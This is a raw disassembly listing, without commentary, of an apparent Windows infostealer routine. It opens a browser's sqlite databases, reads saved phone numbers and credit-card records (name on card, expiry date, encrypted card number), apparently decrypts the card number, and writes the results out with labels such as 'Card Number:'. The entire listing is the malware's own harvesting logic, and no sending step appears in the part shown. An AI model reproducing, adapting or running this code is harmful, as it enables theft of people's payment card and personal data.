mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0d4
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0x10
jb 0x14000dfdf
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dfd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0da
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x14000d820
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e021
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0f2
call fcn.140080f50
jmp 0x14000d820
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
xor esi, esi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0xd8]
lea r8d, [rsi - 1]
lea rdx, str.SELECT_number_FROM_autofill_profile_phones
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
test eax, eax
je 0x14000e40c
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov r14, qword [rsp + 0x68]
mov qword [r14], rsi
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], sil
xor r8d, r8d
lea rdx, [0x1400cfb1b]
mov rcx, r14
call fcn.1400218a0
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x14000e0ea
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e0e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0f8
call fcn.140080f50
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], 0xf
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14000e149
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e144
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0fe
call fcn.140080f50
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x1b8], 0xf
mov byte [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x30c], edx
lea rcx, [rsp + 0x318]
call fcn.14001db60
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x30c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x3b8], rbx
lea rcx, [rsp + 0x3b8]
call fcn.1400838c0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
lea rcx, [rsp + 0x210]
call fcn.14001db60
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1fc], edx
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x2b0]
call fcn.1400838c0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000e2bf
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e2ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f104
call fcn.140080f50
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000e31f
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e319
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f10a
call fcn.140080f50
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14000e359
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000e354
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f116
mov rcx, r8
call fcn.140080f50
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000e3a4
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000e39f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f11c
mov rcx, r8
call fcn.140080f50
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000e3f1
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000e3ec
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f122
mov rcx, r8
call fcn.140080f50
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rax, r14
jmp 0x14000f045
movzx ebx, byte [rsp + 0x40]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
mov rcx, qword [rsp + 0xd8]
cmp eax, 0x64
jne 0x14000e628
xor edx, edx
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x138], 0xf
mov byte [rsp + 0x120], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000e463
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1400218a0
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x130]
sub rax, rcx
cmp rax, 0xe
jb 0x14000f0e0
lea rax, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae rax, qword [rsp + 0x120]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xe
lea r9, str.Phone_number:
lea r8, [rsp + 0x120]
movzx edx, bl
lea rcx, [rsp + 0x90]
call fcn.14002d660
nop
mov r8, r14
lea rdx, [0x1400d01bc]
lea rcx, [rsp + 0x90]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14000e598
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e592
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0e6
call fcn.140080f50
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000e5dc
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0ec
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x14000e411
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e61e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0f2
call fcn.140080f50
jmp 0x14000e411
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0xd8]
mov r8d, 0xffffffff
lea rdx, str.SELECT_name_on_card__expiration_month__expiration_year__card_number_encrypted_FROM_credit_cards
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
test eax, eax
je 0x14000ea0a
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov r14, qword [rsp + 0x68]
mov qword [r14], rsi
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor r8d, r8d
lea rdx, [0x1400cfb1b]
mov rcx, r14
call fcn.1400218a0
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x14000e6e8
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0f8
call fcn.140080f50
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], 0xf
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14000e747
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e742
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0fe
call fcn.140080f50
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x1b8], 0xf
mov byte [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x30c], edx
lea rcx, [rsp + 0x318]
call fcn.14001db60
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x30c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x3b8], rbx
lea rcx, [rsp + 0x3b8]
call fcn.1400838c0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
lea rcx, [rsp + 0x210]
call fcn.14001db60
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1fc], edx
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x2b0]
call fcn.1400838c0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000e8bd
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f104
call fcn.140080f50
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000e91d
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e917
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f10a
call fcn.140080f50
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14000e957
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000e952
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f116
mov rcx, r8
call fcn.140080f50
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000e9a2
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000e99d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f11c
mov rcx, r8
call fcn.140080f50
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000e9ef
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000e9ea
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f122
mov rcx, r8
call fcn.140080f50
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rax, r14
jmp 0x14000f045
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
mov rcx, qword [rsp + 0xd8]
cmp eax, 0x64
jne 0x14000ef77
xor edx, edx
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x138], 0xf
mov byte [rsp + 0x120], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000ea72
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1400218a0
nop
mov edx, 1
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], 0xf
mov byte [rsp + 0x100], 0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ead0
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.1400218a0
nop
mov edx, r14d
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], 0xf
mov byte [rsp + 0x1c0], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000eb30
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.1400218a0
nop
mov edx, 3
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], 0xf
mov byte [rsp + 0x1e0], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000eb90
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.1400218a0
nop
lea r8, [rsp + 0x1e0]
mov rdx, r13
lea rcx, [rsp + 0x420]
call fcn.140005260
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x130]
sub rax, rcx
cmp rax, 0xe
jb 0x14000f110
lea rax, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae rax, qword [rsp + 0x120]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xe
lea r9, str.Name_on_card:
lea r8, [rsp + 0x120]
movzx edx, bl
lea rcx, [rsp + 0x48]
call fcn.14002d660
nop
mov r8d, 1
lea rdx, [0x1400d0184]
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14000ecdb
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ecd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f128
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000ed18
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f12e
call fcn.140080f50
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x110]
sub rax, rcx
cmp rax, 0x12
jb 0x14000f134
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 0x10
cmovae rax, qword [rsp + 0x100]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x12
lea r9, str.Expiration_Month:
lea r8, [rsp + 0x100]
movzx edx, dil
lea rcx, [rsp + 0x48]
call fcn.14002d660
nop
mov r8d, 1
lea rdx, [0x1400d0184]
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x90]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000ee39
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f13a
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000ee76
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f140
call fcn.140080f50
lea r8, [rsp + 0x1c0]
lea rdx, str.Expiration_Year:
lea rcx, [rsp + 0xb8]
call fcn.140025c80
nop
lea r8, [0x1400d0184]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140025dc0
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.14001efa0
nop
lea rcx, [rsp + 0x48]
call fcn.14001efc0
nop
lea rcx, [rsp + 0xb8]
call fcn.14001efc0
lea r8, [rsp + 0x420]
lea rdx, str.Card_Number:
lea rcx, [rsp + 0xb8]
call fcn.140025c80
nop
lea r8, [0x1400d0184]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140025dc0
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.14001efa0
nop
lea rcx, [rsp + 0x48]
call fcn.14001efc0
nop
lea rcx, [rsp + 0xb8]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x420]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x1e0]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x1c0]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x100]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x120]
call fcn.14001efc0
jmp 0x14000ea20
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
lea rdx, [rsp + 0x160]
mov r14, qword [rsp + 0x68]
mov rcx, r14
call fcn.14001f0b0
nop
lea rcx, [rsp + 0x160]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x1a0]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x310]
call fcn.140008860
nop
lea rcx, [rsp + 0x200]
call fcn.140006060
nop
lea rcx, [rsp + 0x140]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x180]
call fcn.14001efc0
nop
mov rcx, r15
call fcn.14001efc0
nop
mov rcx, r13
call fcn.14001efc0
nop
mov rcx, r12
call fcn.14001efc0
mov rax, r14
jmp 0x14000f045
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140080f30
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3